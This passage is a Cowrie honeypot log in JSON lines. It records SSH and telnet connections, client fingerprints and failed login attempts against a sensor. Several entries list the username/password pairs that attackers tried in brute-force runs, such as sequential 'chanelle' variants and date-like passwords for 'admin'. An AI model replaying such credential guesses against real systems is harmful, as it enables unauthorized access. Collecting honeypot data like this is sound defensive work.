{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:6f:2a:e5:22:90:a3:0a:12:b8:43:fe:f5:1e:16:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP8H8hsFzehsVK+nGypj5NK0d67h7Im3DUmRpha4cTlQsU/6riek5GDc3fV4SJWBmGJ9Rmd+3yc45FsTsVfeXiQ1BsIkYQrnLiSPnAcAIcJ1uj+/m0nChrge8lV0ZoEb6wyYs13hDlPAzxvqPh3sqSrA4RfTZOzctv1HDXIcCbQDVAfG94Gln8aoINFhbDe3gK7i4kCl15EMNP6GS7jSgPNIwH3DXuG3cH9mw1Jc4VsMizMfvk8JhnnCbMDPkRwMdG4D3fb+FynLB1ISMiRx9+j//+mDzZBhPo9KtkTJmSzVpdfmO4bb/LKeNW2caTzaUtBn1vYP5qaBW/N1EWRgFp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:6f:2a:e5:22:90:a3:0a:12:b8:43:fe:f5:1e:16:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.603883Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:6f:2a:e5:22:90:a3:0a:12:b8:43:fe:f5:1e:16:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP8H8hsFzehsVK+nGypj5NK0d67h7Im3DUmRpha4cTlQsU/6riek5GDc3fV4SJWBmGJ9Rmd+3yc45FsTsVfeXiQ1BsIkYQrnLiSPnAcAIcJ1uj+/m0nChrge8lV0ZoEb6wyYs13hDlPAzxvqPh3sqSrA4RfTZOzctv1HDXIcCbQDVAfG94Gln8aoINFhbDe3gK7i4kCl15EMNP6GS7jSgPNIwH3DXuG3cH9mw1Jc4VsMizMfvk8JhnnCbMDPkRwMdG4D3fb+FynLB1ISMiRx9+j//+mDzZBhPo9KtkTJmSzVpdfmO4bb/LKeNW2caTzaUtBn1vYP5qaBW/N1EWRgFp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.607476Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:22.693280Z","src_ip":"154.16.180.28","session":"2617e9856846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.62996792793274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:24.482031Z","src_ip":"135.148.14.151","session":"c308fb569e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62309432029724,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:47.171063Z","src_ip":"135.148.14.151","session":"2648065bf7df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.483580350875854,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:11:57.309866Z","src_ip":"135.148.14.151","session":"f316bb31ba54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35886,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e3060d94e9d","protocol":"telnet","message":"New connection: 135.148.14.151:35886 (159.203.135.109:23) [session: 7e3060d94e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:17.178883Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42684,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8df6de9df95","protocol":"telnet","message":"New connection: 135.148.14.151:42684 (159.203.135.109:23) [session: b8df6de9df95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:24.195979Z"}
{"eventid":"cowrie.session.closed","duration":0.0064585208892822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:24.202318Z","src_ip":"135.148.14.151","session":"b8df6de9df95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40854,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb184ec892d9","protocol":"telnet","message":"New connection: 135.148.14.151:40854 (159.203.135.109:23) [session: eb184ec892d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:29.011461Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"b93d3fb64090","protocol":"telnet","message":"New connection: 135.148.14.151:47944 (159.203.135.109:23) [session: b93d3fb64090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:47.187532Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":55631,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a4ca5ccf20","protocol":"ssh","message":"New connection: 2.57.121.112:55631 (159.203.135.109:22) [session: 60a4ca5ccf20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:50.770030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:50.775799Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:50.883479Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03061972","message":"login attempt [admin/03061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:51.386047Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030594","message":"login attempt [admin/030594] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:52.499370Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030581","message":"login attempt [admin/030581] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:53.610154Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030579","message":"login attempt [admin/030579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:54.720113Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03041971","message":"login attempt [admin/03041971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:55.831120Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:56.945671Z","src_ip":"2.57.121.112","session":"60a4ca5ccf20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.472713232040405,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:12:58.651480Z","src_ip":"135.148.14.151","session":"7e3060d94e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52182,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c1c52250d18","protocol":"telnet","message":"New connection: 135.148.14.151:52182 (159.203.135.109:23) [session: 2c1c52250d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:00.168300Z"}
{"eventid":"cowrie.session.closed","duration":36.72456431388855,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:05.735898Z","src_ip":"135.148.14.151","session":"eb184ec892d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56108,"dst_ip":"159.203.135.109","dst_port":23,"session":"848193614533","protocol":"telnet","message":"New connection: 135.148.14.151:56108 (159.203.135.109:23) [session: 848193614533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:06.695129Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":20987,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bea76f51521","protocol":"ssh","message":"New connection: 213.209.159.56:20987 (159.203.135.109:22) [session: 8bea76f51521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:09.348527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:09.524766Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:09.602870Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle","message":"login attempt [chanelle/chanelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:10.003749Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle1","message":"login attempt [chanelle/chanelle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:11.142009Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle123","message":"login attempt [chanelle/chanelle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:12.229360Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle1234","message":"login attempt [chanelle/chanelle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:13.315298Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chanelle","password":"chanelle12345","message":"login attempt [chanelle/chanelle12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:14.405102Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:15.490278Z","src_ip":"213.209.159.56","session":"8bea76f51521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":42422,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7c36ded1bae","protocol":"ssh","message":"New connection: 38.93.206.2:42422 (10.17.0.5:22) [session: c7c36ded1bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:21.026728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:21.034214Z","src_ip":"38.93.206.2","session":"c7c36ded1bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:21.086412Z","src_ip":"38.93.206.2","session":"c7c36ded1bae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjkl12","message":"login attempt [root/asdfghjkl12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:21.239460Z","src_ip":"38.93.206.2","session":"c7c36ded1bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.43108654022217,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:21.618476Z","src_ip":"135.148.14.151","session":"b93d3fb64090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:22.297226Z","src_ip":"38.93.206.2","session":"c7c36ded1bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26588,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b1d986f79b","protocol":"ssh","message":"New connection: 194.59.206.2:26588 (10.17.0.5:22) [session: d9b1d986f79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:24.945204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:24.950625Z","src_ip":"194.59.206.2","session":"d9b1d986f79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:25.036914Z","src_ip":"194.59.206.2","session":"d9b1d986f79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:25.128123Z","src_ip":"194.59.206.2","session":"d9b1d986f79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.2749719619751,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:34.443091Z","src_ip":"135.148.14.151","session":"2c1c52250d18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24230456352234,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:42.937321Z","src_ip":"135.148.14.151","session":"848193614533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.83.25.175","src_port":48990,"dst_ip":"10.17.0.5","dst_port":23,"session":"7760f8c8472b","protocol":"telnet","message":"New connection: 50.83.25.175:48990 (10.17.0.5:23) [session: 7760f8c8472b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:43.276463Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee7c74bc5cf5","protocol":"telnet","message":"New connection: 135.148.14.151:44998 (159.203.135.109:23) [session: ee7c74bc5cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:44.332391Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"656d263968d6","protocol":"ssh","message":"New connection: 103.27.238.120:52332 (159.203.135.109:22) [session: 656d263968d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:56.939717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:56.948549Z","src_ip":"103.27.238.120","session":"656d263968d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":44590,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad9307b0f70a","protocol":"ssh","message":"New connection: 103.27.238.116:44590 (159.203.135.109:22) [session: ad9307b0f70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:56.953687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:56.959110Z","src_ip":"103.27.238.116","session":"ad9307b0f70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:13:57.212684Z","src_ip":"103.27.238.120","session":"656d263968d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-